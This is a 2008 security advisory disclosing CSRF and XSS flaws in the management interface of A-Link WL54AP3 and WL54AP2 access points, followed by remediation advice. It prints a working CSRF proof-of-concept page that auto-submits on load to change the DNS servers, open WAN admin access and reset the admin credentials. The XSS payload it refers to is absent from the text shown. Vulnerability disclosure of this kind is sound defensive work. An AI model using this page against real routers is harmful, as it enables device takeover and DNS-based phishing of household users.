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Louhi Networks Information Security Research Security Advisory Advisory: A-Link WL54AP3 and WL54AP2 CSRF+XSS vulnerability
Release Date: 2008/10/31 Last Modified: 2008/10/28 Authors: Jussi Vuokko, CISSP [email@example.com] Henri Lindberg [firstname.lastname@example.org]
Device: A-Link WL54AP3 and WL54AP2 (any firmware) Severity: CSRF and XSS in management interface Risk: Moderate
Vendor Status: Vendor has released an updated version References: http://www.louhinetworks.fi/advisory/alink_081028.txt
Quote from http://www.a-link.com/ "WLAN Access point 54MB, 4-port Wlan Access point, wireless 54Mbps, DSSS, 802.11g-standard based and it's compatible also with other manufacturers cards."
During an audit of A-Link WLAN54AP3 it was discovered that a cross site request forgery vulnerability exists in the management interface. It is possible for an attacker to perform any administrative actions in the management interface, if victim can be lured or forced to view malicious content. These administrative actions include e.g. changing admin user's username and password, DNS settings etc.
In addition, it was discovered that no input validation or output encoding is performed in management interface, thus making it vulnerable to cross-site scripting.
By default admin password is blank and no authentication is performed for requests to administrative interface. As ordinary consumers usually use out-of-the-box settings, this vulnerability offers same kind of phishing possibilities as used in Banamex attacks.
A-Link WLAN54AP2 (EOL) is vulnerable to this threat as well.
A-Link WLAN54AP3 does not validate the origin of an HTTP request. If attacker is able to make user view malicious content, the WLAN54AP3 device can be controlled by submitting suitable forms. Attacker is effectively acting as an administrator.
Successful attack requires that the attacker knows the management interface address for the target device (default IP address is 192.168.1.254). As the management interface does not have logout functionality, user can be vulnerable to this attack even after closing a tab containing the management interface (if user does not close the browser window or clear cookies and depending on browser behaviour) or if default blank password is used.
Proof of Concept:
Example form (changes DNS servers, enables WAN web server access and changes user's username and password):
<html> <body onload="document.wan.submit(); document.password.submit()"> <form action="http://192.168.1.254/goform/formWanTcpipSetup" method="post" name="wan"> <input type="hidden" value="dnsManual" name="dnsMode" checked> <input type="hidden" name="dns1" value="188.8.131.52"> <input type="hidden" name="dns2" value="184.108.40.206"> <input type="hidden" name="dns3" value="220.127.116.11"> <input type="hidden" name="webWanAccess" value="ON" checked="checked"> </form> <form action="http://192.168.1.254/goform/formPasswordSetup" method="post" name="password"> <input type="hidden" name="username" value="mallory"> <input type="hidden" name="newpass" value="gotroot"> <input type="hidden" name="confpass" value="gotroot"> </form> </body> </html>
Add following content to management interface's Management - DDNS - Domain Name:
Include a random user-specific token in forms. More information: http://en.wikipedia.org/wiki/Cross-site_request_forgery
Perform an input validation and/or an output encoding. More information: http://en.wikipedia.org/wiki/Cross_site_scripting
Use secure out-of-the-box configuration (for example generate default passwords based on device serial or MAC address using a secure cryptographic algorithm).
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